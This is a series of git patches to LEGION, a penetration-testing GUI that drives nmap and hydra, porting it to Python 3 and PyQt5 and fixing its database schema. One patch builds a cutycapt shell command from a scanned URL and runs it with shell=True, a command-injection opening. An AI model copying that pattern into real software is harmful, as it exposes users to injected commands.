Xming +if [[ $unameOutput == *"Microsoft"* ]] +then + export DISPLAY=localhost:0.0 +fi if [ ! -f ".initialized" ] then - unameOutput=`uname -a` releaseOutput=`cat /etc/*release*` # | grep -i 'ubuntu' | wc -l echo "First run here. Let's try to automatically install all the dependancies..." - mkdir tmp + if [ ! -d "tmp" ] + then + mkdir tmp + fi if [[ $unameOutput == *"Microsoft"* ]] then echo "Detected WSL (Windows Subsystem for Linux)" From d09793dae2bab72b4c4d72edf9ced923a55f6ce6 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 21 Sep 2018 08:20:34 -0500 Subject: [PATCH 010/450] Added Parrot to start script --- startLegion.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/startLegion.sh b/startLegion.sh index d8e38f6d..f66d8ae6 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -36,6 +36,10 @@ then echo "Detected Ubuntu" ./deps/ubuntu.sh touch .initialized + elif [[ $releaseOutput == *"Parrot"* ]] + then + ./deps/ubuntu.sh + touch .initialized else echo "Not Ubuntu. Install deps manually for now" touch .initialized From 403d3189787e71133abb0efeaa685d32c2795793 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 25 Sep 2018 11:09:29 -0400 Subject: [PATCH 011/450] Updated Readme with instructions --- README.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 6110b198..2099e2eb 100644 --- a/README.md +++ b/README.md @@ -34,8 +34,13 @@ nmap Installation ---- -Todo +Install dependencies listed above, e.g.: +apt-get install python-pyqt5 +apt-get install python-sqlalchemy +apt-get install nmap +apt-get install hydra +Run startLegion.sh Credits ---- From 903a6f549fbdb3e87984f31af686eef3897ba06d Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 25 Sep 2018 11:10:41 -0400 Subject: [PATCH 012/450] Updated README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 2099e2eb..bebcca87 100644 --- a/README.md +++ b/README.md @@ -33,7 +33,9 @@ nmap Installation ---- - +``` +git clone https://github.com/GoVanguard/legion.git +``` Install dependencies listed above, e.g.: apt-get install python-pyqt5 apt-get install python-sqlalchemy From 053a38d857cdcbf14e5778801a5f10ef550f6596 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 27 Sep 2018 05:46:05 -0500 Subject: [PATCH 013/450] Tons of fixes. Bump to 0.2.1 --- CHANGELOG.txt | 10 ++ README.md | 2 +- app/auxiliary.py | 61 +++++------ app/hostmodels.py | 18 ++-- app/logic.py | 49 ++++----- app/processmodels.py | 6 +- app/scriptmodels.py | 6 +- app/servicemodels.py | 15 +-- app/settings.py | 2 +- controller/controller.py | 41 +++++++- db/database.py | 44 ++++---- db/database.py.orig | 83 --------------- db/tables.py.orig | 185 --------------------------------- deps/ubuntu.sh | 2 +- legion.py | 23 +---- parsers/Port.py | 8 +- ui/dialogs.py | 2 +- ui/gui.py | 36 ++++--- ui/gui.ui | 12 ++- ui/nosplitters/gui.py | 144 -------------------------- ui/nosplitters/gui.ui | 215 --------------------------------------- ui/settingsdialogs.py | 2 +- ui/view.py | 40 ++++++-- 23 files changed, 216 insertions(+), 790 deletions(-) delete mode 100644 db/database.py.orig delete mode 100644 db/tables.py.orig delete mode 100644 ui/nosplitters/gui.py delete mode 100644 ui/nosplitters/gui.ui diff --git a/CHANGELOG.txt b/CHANGELOG.txt index dd37622c..7be1b54a 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -10,3 +10,13 @@ LEGION 0.2.0 * Port to PyQt5 * Handle process output encoding issues * Added dependancy installer + +LEGION 0.2.1 + +* Fixed DB relationships +* Removed X requirement for screen captures +* Revised HTTP/HTTPS detection +* Fixed Host panel columns +* Fixed process lanuches for discovered services +* Fixed context menus so they show applicable actions for context +* Fixed note unique keys diff --git a/README.md b/README.md index 6110b198..93546226 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -LEGION 0.2.0 (https://govanguard.io) +LEGION 0.2.1 (https://govanguard.io) == Authors: diff --git a/app/auxiliary.py b/app/auxiliary.py index 49743a63..280346e9 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -12,6 +12,7 @@ ''' import os, sys, urllib, socket, time, datetime, locale, webbrowser, re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex +from urllib import request from PyQt5 import QtCore, QtWidgets from PyQt5.QtCore import * # for QProcess from PyQt5.QtWidgets import * @@ -19,6 +20,7 @@ import subprocess # for screenshots with cutycapt import string # for input validation from six import u as unicode +import ssl # bubble sort algorithm that sorts an array (in place) based on the values in another array # the values in the array must be comparable and in the corresponding positions @@ -44,42 +46,38 @@ def IP2Int(ip): # old function, replaced by isHttps (checking for https first is better) def isHttp(url): try: - req = urllib2.Request(url) - req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0') - r = urllib2.urlopen(req, timeout=10) + headers = {} + headers['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0' + req = request.Request(url, headers = headers) + r = request.urlopen(req, timeout=10).read() #print 'response code: ' + str(r.code) #print 'response content: ' + str(r.read()) return True - - except urllib2.HTTPError as e: - reason = str(sys.exc_info()[1].reason) - # print reason - if reason == 'Unauthorized' or reason == 'Forbidden': + + except urllib.error.URLError as e: + reason= str(e.reason) + + if 'Unauthorized' in reason or 'Forbidden' in reason: return True return False - except: - return False - def isHttps(ip, port): try: - req = urllib2.Request('https://'+ip+':'+port) - req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0') - r = urllib2.urlopen(req, timeout=5) -# print '\nresponse code: ' + str(r.code) -# print '\nresponse content: ' + str(r.read()) + headers = {} + headers['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0' + req = request.Request('https://'+ip+':'+str(port), headers = headers) + r = request.urlopen(req, timeout=5).read() + #print '\nresponse code: ' + str(r.code) + #print '\nresponse content: ' + str(r.read()) return True - except: - reason = str(sys.exc_info()[1].reason) -# print reason -# if 'Interrupted system call' in reason: -# print 'caught exception. retry?' - - if reason == 'Forbidden': + except urllib.error.URLError as e: + reason = str(e.reason) + if 'Forbidden' in reason or 'certificate verify failed' in reason: return True return False - + except ssl.CertificateError as e: + return True def getTimestamp(human=False): t = time.time() @@ -165,7 +163,7 @@ def setFilename(self, filename): def add(self, word): with open(self.filename, 'a') as f: if not word+'\n' in self.wordlist: - #print('[+] Adding '+word+' to the wordlist..') + print('[+] Adding '+word+' to the wordlist..') self.wordlist.append(word+'\n') f.write(word+'\n') @@ -189,8 +187,6 @@ def __init__(self, name, tabtitle, hostip, port, protocol, command, starttime, o @pyqtSlot() # this slot allows the process to append its output to the display widget def readStdOutput(self): output = str(self.readAllStandardOutput()) - #output = QString(self.readAllStandardOutput()) - #self.display.appendPlainText(unicode(output, 'utf-8').strip()) self.display.appendPlainText(unicode(output).strip()) if self.name == 'hydra': # check if any usernames/passwords were found (if so emit a signal so that the gui can tell the user about it) @@ -199,10 +195,8 @@ def readStdOutput(self): self.sigHydra.emit(self.display.parentWidget(), userlist, passlist) stderror = str(self.readAllStandardError()) - #stderror = QString(self.readAllStandardError()) if len(stderror) > 0: - #self.display.appendPlainText(unicode(stderror, 'utf-8').strip()) # append standard error too self.display.appendPlainText(unicode(stderror).strip()) # append standard error too # browser opener class with queue and semaphores @@ -282,8 +276,9 @@ def run(self): else: self.save("http://"+url, ip, port, outputfile) - except: + except Exception as e: print('\t[-] Unable to take the screenshot. Moving on..') + print(e) continue self.processing = False @@ -295,8 +290,8 @@ def run(self): def save(self, url, ip, port, outputfile): print('[+] Saving screenshot as: '+str(outputfile)) - command = "cutycapt --max-wait="+str(self.timeout)+" --url="+str(url)+"/ --out=\""+str(self.outputfolder)+"/"+str(outputfile)+"\"" -# print command + command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/" --max-wait=5000 --out="{outputfolder}/{outputfile}"'.format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) + print(command) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish self.done.emit(ip,port,outputfile) # send a signal to add the 'process' to the DB diff --git a/app/hostmodels.py b/app/hostmodels.py index 7cb2e481..1cb020a3 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -16,20 +16,12 @@ from PyQt5.QtCore import pyqtSignal, QObject from app.auxiliary import * # for bubble sort -class Communicate(QObject): - data_changed = pyqtSignal(str) - class HostsTableModel(QtCore.QAbstractTableModel): def __init__(self, hosts = [[]], headers = [], parent = None): QtCore.QAbstractTableModel.__init__(self, parent) self.__headers = headers self.__hosts = hosts - self.c = Communicate() - - @QtCore.pyqtSlot() - def emit(self, signal): - self.c.data_changed.emit(signal) def setHosts(self, hosts): self.__hosts = hosts @@ -48,7 +40,7 @@ def headerData(self, section, orientation, role): if section < len(self.__headers): return self.__headers[section] else: - return "not implemented" + return "!not implemented" def data(self, index, role): # this method takes care of how the information is displayed if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text @@ -109,6 +101,12 @@ def data(self, index, role): # this metho value = self.__hosts[row]['lastboot'] elif column == 12: value = self.__hosts[row]['distance'] + elif column == 13: + value = self.__hosts[row]['checked'] + elif column == 14: + value = self.__hosts[row]['state'] + elif column == 15: + value = self.__hosts[row]['count'] return value if role == QtCore.Qt.FontRole: diff --git a/app/logic.py b/app/logic.py index 1ebf7546..9fb5dedf 100644 --- a/app/logic.py +++ b/app/logic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -523,7 +523,7 @@ def storeProcessOutputInDB(self, procId, output): def storeNotesInDB(self, hostId, notes): if len(notes) == 0: notes = unicode("Notes for {hostId}".format(hostId=hostId)) - print("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + #print("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) t_note = self.getNoteFromDB(hostId) if t_note: t_note.text = unicode(notes) @@ -598,31 +598,43 @@ def run(self): # it is nece if not db_host: # if host doesn't exist in DB, create it first hid = nmap_host('', '', h.ip, h.ipv4, h.ipv6, h.macaddr, h.status, h.hostname, h.vendor, h.uptime, h.lastboot, h.distance, h.state, h.count) + print("Adding db_host") session.add(hid) t_note = note(h.ip, 'Added by nmap') session.add(t_note) + else: + print("Found db_host already in db") session.commit() for h in parser.all_hosts(): # create all OS, service and port objects that need to be created + print("Processing h {ip}".format(ip=h.ip)) + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() - #db_host = nmap_host.query.filter_by(ip=h.ip).first() # fetch the host + if db_host: + print("Found db_host during os/ports/service processing") + else: + print("Did not find db_host during os/ports/service processing") os_nodes = h.get_OS() # parse and store all the OS nodes + print(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) for os in os_nodes: + print(" Processing os obj {os}".format(os=str(os.name))) db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() - #db_os = nmap_os.query.filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() if not db_os: - t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host) + t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host.id) session.add(t_nmap_os) - for p in h.all_ports(): # parse the ports + all_ports = h.all_ports() + print(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) + for p in all_ports: # parse the ports + print(" Processing port obj {port}".format(port=str(p.portId))) s = p.get_service() if not (s is None): # check if service already exists to avoid adding duplicates + print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() - #db_service = nmap_service.query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() if not db_service: db_service = nmap_service(s.name, s.product, s.version, s.extrainfo, s.fingerprint) @@ -632,10 +644,9 @@ def run(self): # it is nece db_service = None # fetch the port db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() - #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if not db_port: - db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service) + db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service.id) session.add(db_port) session.commit() @@ -645,15 +656,12 @@ def run(self): # it is nece for h in parser.all_hosts(): # create all script objects that need to be created - #db_host = nmap_host.query.filter_by(ip=h.ip).first() db_host = session.query(nmap_host).filter_by(ip=h.ip).first() for p in h.all_ports(): for scr in p.get_scripts(): - #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() - #db_script = nmap_script.query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() if not db_script: # if this script object doesn't exist, create it @@ -661,7 +669,6 @@ def run(self): # it is nece session.add(t_nmap_script) for hs in h.get_hostscripts(): - #db_script = nmap_script.query.filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() db_script = session.query(nmap_script).query.filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() if not db_script: t_nmap_script = nmap_script(hs.scriptId, hs.output, None, db_host) @@ -672,7 +679,6 @@ def run(self): # it is nece for h in parser.all_hosts(): # update everything db_host = session.query(nmap_host).filter_by(ip=h.ip).first() - #db_host = nmap_host.query.filter_by(ip=h.ip).first() # get host from DB (if any with the same IP address) if db_host.ipv4 == '' and not h.ipv4 == '': db_host.ipv4 = h.ipv4 @@ -704,7 +710,6 @@ def run(self): # it is nece os_nodes = h.get_OS() for os in os_nodes: - #db_os = nmap_os.query.filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() db_os.os_accuracy = os.accuracy # update the accuracy @@ -725,20 +730,18 @@ def run(self): # it is nece for p in h.all_ports(): s = p.get_service() if not (s is None): - # fetch the service for this port - #db_service = nmap_service.query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(nmap_service).query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() else: db_service = None # fetch the port - #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() - db_port.state = p.state + if db_port: + db_port.state = p.state - if not (db_service is None): # if there is some new service information, update it - db_port.service_id = db_service.id + if not (db_service is None): # if there is some new service information, update it + db_port.service_id = db_service.id - session.add(db_port) + session.add(db_port) for scr in p.get_scripts(): # store the script results (note that existing script outputs are also kept) #db_script = nmap_script.query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() diff --git a/app/processmodels.py b/app/processmodels.py index f7a94ad4..7d703a87 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -90,7 +90,7 @@ def data(self, index, role): # this metho return value def sort(self, Ncol, order): - self.emit(SIGNAL("layoutAboutToBeChanged()")) + self.layoutAboutToBeChanged.emit() array=[] if Ncol == 3: @@ -131,7 +131,7 @@ def sort(self, Ncol, order): self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place - self.emit(SIGNAL("layoutChanged()")) + self.layoutChanged.emit() def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable diff --git a/app/scriptmodels.py b/app/scriptmodels.py index 5056125a..457b87b8 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -67,7 +67,7 @@ def data(self, index, role): # this metho def sort(self, Ncol, order): - self.emit(SIGNAL("layoutAboutToBeChanged()")) + self.layoutAboutToBeChanged.emit() array=[] if Ncol == 1: @@ -82,7 +82,7 @@ def sort(self, Ncol, order): if order == Qt.AscendingOrder: # reverse if needed self.__scripts.reverse() - self.emit(SIGNAL("layoutChanged()")) + self.layoutChanged.emit() def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable diff --git a/app/servicemodels.py b/app/servicemodels.py index 2d23b6c4..7c926c62 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -15,20 +15,12 @@ from PyQt5.QtCore import pyqtSignal, QObject from app.auxiliary import * # for bubble sort -class Communicate(QObject): - data_changed = pyqtSignal(str) - class ServicesTableModel(QtCore.QAbstractTableModel): # needs to inherit from QAbstractTableModel def __init__(self, services = [[]], headers = [], parent = None): QtCore.QAbstractTableModel.__init__(self, parent) self.__headers = headers self.__services = services - self.c = Communicate() - - @QtCore.pyqtSlot() - def emit(self, signal): - self.c.data_changed.emit(signal) def setServices(self, services): self.__services = services @@ -106,7 +98,6 @@ def flags(self, index): # method tha return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable def sort(self, Ncol, order): # sort function called when the user clicks on a header - #self.emit(SIGNAL("layoutAboutToBeChanged()")) self.layoutAboutToBeChanged.emit() array = [] @@ -152,7 +143,7 @@ def sort(self, Ncol, order): # sort funct if order == Qt.AscendingOrder: # reverse if needed self.__services.reverse() - self.emit("layoutChanged()") # update the UI (built-in signal) + self.layoutChanged.emit() # update the UI (built-in signal) ### getter functions ### @@ -222,7 +213,7 @@ def sort(self, Ncol, order): # sort funct if order == Qt.AscendingOrder: # reverse if needed self.__serviceNames.reverse() - self.emit("layoutChanged()") # update the UI (built-in signal) + self.layoutChanged.emit() # update the UI (built-in signal) ### getter functions ### diff --git a/app/settings.py b/app/settings.py index be68abe7..e9b5fdd0 100644 --- a/app/settings.py +++ b/app/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/controller/controller.py b/controller/controller.py index 9e1dee8b..d7b816cd 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -25,7 +25,7 @@ class Controller(): # initialisations that will happen once - when the program is launched def __init__(self, view, logic): - self.version = 'LEGION 0.2.0' # update this everytime you commit! + self.version = 'LEGION 0.2.1' # update this everytime you commit! self.logic = logic self.view = view self.view.setController(self) @@ -519,9 +519,6 @@ def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) - #QObject.connect(qProcess,SIGNAL("readyReadStandardOutput()"),qProcess,SLOT("readStdOutput()")) - #QObject.connect(qProcess,SIGNAL("readyReadStandardError()"),qProcess,SLOT("readStdOutput()")) - # when the process is finished do this qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) qProcess.error.connect(lambda: self.processCrashed(qProcess)) @@ -531,6 +528,40 @@ def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, return qProcess.pid() # return the pid so that we can kill the process if needed + def runPython(self): + #self.logic.createFolderForTool(name) # create folder for tool if necessary + textbox = self.view.createNewConsole("python") + name = 'python' + tabtitle = name + hostip = '127.0.0.1' + port = '22' + protocol = 'tcp' + command = 'python3 /mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/test.py' + starttime = getTimestamp(True) + outputfile = '/tmp/a' + qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) + + textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) + + print('[+] Queuing: ' + str(command)) + self.fastProcessQueue.put(qProcess) + + self.checkProcessQueue() + + self.updateUI2Timer.stop() # update the processes table + self.updateUI2Timer.start(900) # while the process is running, when there's output to read, display it in the GUI + self.updateUITimer.stop() # update the processes table + self.updateUITimer.start(900) + + qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) + qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) + + qProcess.sigHydra.connect(self.handleHydraFindings) + qProcess.finished.connect(lambda: self.processFinished(qProcess)) + qProcess.error.connect(lambda: self.processCrashed(qProcess)) + + return qProcess.pid() + # recursive function used to run nmap in different stages for quick results def runStagedNmap(self, iprange, discovery=True, stage=1, stop=False): if not stop: diff --git a/db/database.py b/db/database.py index 110165b9..313ac4d7 100644 --- a/db/database.py +++ b/db/database.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -14,7 +14,7 @@ from PyQt5.QtCore import QSemaphore import time -from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func, create_engine +from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func, create_engine, Table from sqlalchemy.orm import relationship, backref, sessionmaker from sqlalchemy.orm.scoping import scoped_session from sqlalchemy.ext.declarative import declarative_base @@ -82,13 +82,14 @@ def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args class nmap_os(Base): __tablename__ = 'nmap_os' - name=Column(String, primary_key=True) + id=Column(Integer, primary_key=True) + name=Column(String) family=Column(String) generation=Column(String) os_type=Column(String) vendor=Column(String) accuracy=Column(String) - host=Column(String, ForeignKey('nmap_host.hostname')) + host_id=Column(String, ForeignKey('nmap_host.id')) def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): self.name=name @@ -97,7 +98,7 @@ def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): self.os_type=os_type self.vendor=vendor self.accuracy=accuracy - self.host=hostId + self.host_id=hostId class nmap_port(Base): __tablename__ = 'nmap_port' @@ -105,30 +106,30 @@ class nmap_port(Base): id=Column(Integer, primary_key=True) protocol=Column(String) state=Column(String) - host_id=Column(String, ForeignKey('nmap_host.hostname')) - service_id=Column(String, ForeignKey('nmap_service.name')) - script_id=Column(String, ForeignKey('nmap_script.script_id')) + host_id=Column(String, ForeignKey('nmap_host.id')) + service_id=Column(String, ForeignKey('nmap_service.id')) + script_id=Column(String, ForeignKey('nmap_script.id')) def __init__(self, port_id, protocol, state, host, service=''): self.port_id=port_id self.protocol=protocol self.state=state + self.service_id=service self.host_id=host - self.service=service + class nmap_service(Base): __tablename__ = 'nmap_service' name=Column(String) - id=Column(String, primary_key=True) + id=Column(Integer, primary_key=True) product=Column(String) version=Column(String) extrainfo=Column(String) fingerprint=Column(String) - port=Column(String, ForeignKey('nmap_port.port_id')) + port=relationship(nmap_port) def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): self.name=name - self.id=name self.product=product self.version=version self.extrainfo=extrainfo @@ -137,14 +138,13 @@ def __init__(self, name='', product='', version='', extrainfo='', fingerprint='' class nmap_script(Base): __tablename__ = 'nmap_script' script_id=Column(String) - id=Column(String, primary_key=True) + id = Column(Integer, primary_key=True) output=Column(String) - port_id=Column(String, ForeignKey('nmap_port.port_id')) - host_id=Column(String, ForeignKey('nmap_host.hostname')) + port_id=Column(String, ForeignKey('nmap_port.id')) + host_id=Column(String, ForeignKey('nmap_host.id')) def __init__(self, script_id, output, portId, hostId): self.script_id=script_id - self.id=script_id self.output=unicode(output) self.port_id=portId self.host_id=hostId @@ -160,6 +160,7 @@ class nmap_host(Base): macaddr=Column(String) status=Column(String) hostname=Column(String) + host_id=Column(String) id = Column(Integer, primary_key=True) vendor=Column(String) uptime=Column(String) @@ -169,8 +170,8 @@ class nmap_host(Base): count=Column(String) # host relationships - os=Column(String, ForeignKey('nmap_os.name')) - ports=Column(String, ForeignKey('nmap_port.port_id')) + os=relationship(nmap_os) + ports=relationship(nmap_port) def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): self.checked='False' @@ -182,7 +183,7 @@ def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr self.macaddr=macaddr self.status=status self.hostname=hostname - #self.id=hostname + self.host_id=hostname self.vendor=vendor self.uptime=uptime self.lastboot=lastboot @@ -193,8 +194,9 @@ def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr class note(Base): __tablename__ = 'note' - host_id=Column(String) - text=Column(String, primary_key=True) + host_id=Column(Integer, ForeignKey('nmap_host.id')) + id = Column(Integer, primary_key=True) + text=Column(String) def __init__(self, hostId, text): self.text=unicode(text) diff --git a/db/database.py.orig b/db/database.py.orig deleted file mode 100644 index f11f2dcc..00000000 --- a/db/database.py.orig +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env python - -''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) - - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' - -from elixir import metadata, Entity, Field -from elixir import create_all, setup_all, session -from elixir import Unicode, UnicodeText -from PyQt4.QtCore import QSemaphore -from db.tables import * -import time - -from elixir import metadata, Entity, Field -from elixir import Unicode, UnicodeText, Integer, String -from elixir import OneToMany, ManyToMany, ManyToOne, OneToOne - -# This class holds various info about an nmap scan -class nmap_session(Entity): - filename=Field(String) - start_time=Field(String) - finish_time=Field(String) - nmap_version=Field(String) - scan_args=Field(String) - total_hosts=Field(String) - up_hosts=Field(String) - down_hosts=Field(String) - - def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): - self.filename=filename - self.start_time=start_time - self.finish_time=finish_time - self.nmap_version=nmap_version - 